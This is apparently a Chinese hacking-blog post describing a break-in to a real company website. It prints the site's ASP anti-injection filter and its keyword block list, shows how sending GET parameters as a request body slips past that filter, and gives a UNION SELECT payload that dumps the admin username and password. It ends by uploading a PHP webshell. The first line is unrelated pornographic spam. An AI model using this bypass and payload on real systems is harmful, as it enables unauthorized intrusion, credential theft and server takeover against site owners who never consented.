欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

利用Request對(duì)象的包解析漏洞繞過(guò)防注入程序

  發(fā)布時(shí)間:2012-05-05 00:44:19   作者:佚名   我要評(píng)論
利用Request對(duì)象的包解析漏洞繞過(guò)防注入程序,想要學(xué)習(xí)安全的朋友可以參考下
今天無(wú)聊來(lái)看看他們的站,打開(kāi)網(wǎng)站 asp 的企業(yè)站 ,點(diǎn)了幾個(gè)鏈接看了下,看不出來(lái)什么程序 于是掃掃目錄 掃出來(lái)個(gè) upload_photo.asp 這個(gè)文件一般使用的是無(wú)懼無(wú)組件上傳 ,存在雙文件上傳的漏洞 ,嘗試 cookies 欺騙繞過(guò)登錄檢測(cè) 遺憾的是不行 看來(lái)這個(gè)洞被補(bǔ)了。。雖然是老程序 ,但是用了這么多年 ,經(jīng)過(guò)無(wú)數(shù)次被黑之后 一些洞洞也被補(bǔ)的差不多了。。去網(wǎng)上找了個(gè)差不多的企業(yè)站程序下載下來(lái)研究了下 ,發(fā)現(xiàn)其 downloadshow.asp 的防注入是通過(guò) check_sql.asp 文件來(lái)實(shí)現(xiàn)的 ,好的我們來(lái)看看這個(gè)程序 看看能不能繞過(guò) ,本地搭建了個(gè)測(cè)試環(huán)境,下面是check_sql.asp 的內(nèi)容

復(fù)制代碼
代碼如下:

<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定義部份 頭----------------------------------------------------------------------
Err_Message = 1 '處理方式:1=提示信息,2=轉(zhuǎn)向頁(yè)面,3=先提示再轉(zhuǎn)向
Err_Web = "Err.Asp" '出錯(cuò)時(shí)轉(zhuǎn)向的頁(yè)面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在這部份定義get非法參數(shù),使用"∥"號(hào)間隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在這部份定義post非法參數(shù),使用"∥"號(hào)間隔
'------定義部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 對(duì) get query 值 的過(guò)濾.
if request.QueryString<>"" then
response.write "QueryString :" & request.QueryString & "
"
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
response.write request.QueryString(Query_Name) & "出現(xiàn)關(guān)鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "傳參錯(cuò)誤!參數(shù) "&name&" 的值中包含非法字符串!\n\n請(qǐng)不要在參數(shù)中出現(xiàn):and update delete ; insert mid master 等非法字符"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('傳參錯(cuò)誤!參數(shù) "&name&"的值中包含非法字符串!\n\n請(qǐng)不要在參數(shù)中出現(xiàn):and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----對(duì) post 表 單值的過(guò)濾.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
response.write request.form(name) & "出現(xiàn)關(guān)鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "出錯(cuò)了!表單 "&name&" 的值中包含非法字符串!\n\n請(qǐng)不要在表單中出現(xiàn): % & * # ( ) 等非法字符!"
Case "3"
Response.Write "出錯(cuò)了!參數(shù) "&name&"的值中包含非法字符串!\n\n請(qǐng)不要在表單中出現(xiàn): % & * # ( ) 等非法字符!"
End Select
Response.End
End If
NEXT
NEXT
end if
%>

可以看出其對(duì)GET請(qǐng)求發(fā)送的參數(shù) 過(guò)濾的非常的嚴(yán)格 ,但是對(duì)于POST發(fā)送的參數(shù)卻只過(guò)濾了幾個(gè)符號(hào) ,這個(gè)很好繞過(guò)的 ,但是downloadshow.asp 只接受GET 發(fā)送過(guò)來(lái)的參數(shù)啊 ,這該如何繞過(guò)?這里就要使用 asp 和 aspx 的Request對(duì)象的包解析漏洞,即像下面的形式發(fā)送的內(nèi)容 ,使用 request對(duì)象仍然可以獲取正確的值
GET /Downloadshow.asp HTTP/1.1
HOST:XXXXXXXXXXXXXXXX
Content-Length: xx
Content-Type: XXXXXXXXXXXXXXXXXX

ID=111

然后 downloadshow.asp 中 使用request("ID")仍然可以獲取正確的ID值 ,和直接 GET?。痙ownloadshow.asp?ID=111 的效果是一樣的,但是這樣的話 對(duì)于上面的那個(gè) sql 注入檢測(cè)程序 ,卻會(huì)把這樣的數(shù)據(jù)當(dāng)作是POST提交的數(shù)據(jù) ,再加上不到位的檢測(cè) ,sql注入漏洞就產(chǎn)生了,如下圖所示:
點(diǎn)擊查看原圖
點(diǎn)擊查看原圖
點(diǎn)擊查看原圖

     這里有個(gè)技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的數(shù)據(jù) 。
好了 本地成功了 我們拿到目標(biāo)站來(lái)試試效果
來(lái)到 downloadshow.asp 頁(yè)面 提交POST 數(shù)據(jù)
ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin
直接爆出管理員的用戶名密碼

點(diǎn)擊查看原圖

 

      然后就是后臺(tái)拿shell了 ,現(xiàn)在我們是管理員了而且已經(jīng)登錄, 那我們?cè)賮?lái) 試試雙文件上傳  悲劇的發(fā)現(xiàn) 對(duì)于 在后綴后面加空格的方法繞過(guò)后綴檢測(cè)已經(jīng)無(wú)效了,無(wú)懼的上傳組建會(huì)檢測(cè) asp asa aspx 3種后綴 ,那么對(duì)于 asp 的站 可以試試 cer ,悲劇的是cer這個(gè)站不支持。。又看到有數(shù)據(jù)庫(kù)備份 ,看看 數(shù)據(jù)庫(kù)的路徑和名字都不可改寫(xiě) 這個(gè)好辦  使用 firebug 改成我上傳的圖片路徑 然后備份文件填寫(xiě)1.asp 提交,本地抓下包 發(fā)現(xiàn)原始數(shù)據(jù)庫(kù)的路徑并未當(dāng)作參賽提交 無(wú)語(yǔ)了 ……果然 像我開(kāi)頭說(shuō)的那樣雖然是垃圾站 但是經(jīng)過(guò)這么多年被黑,各種小洞都補(bǔ)了 。。無(wú)奈 試試其他腳本類型吧  上傳個(gè) php ,還好服務(wù)器支持php ,shell 到手了。 

相關(guān)文章

最新評(píng)論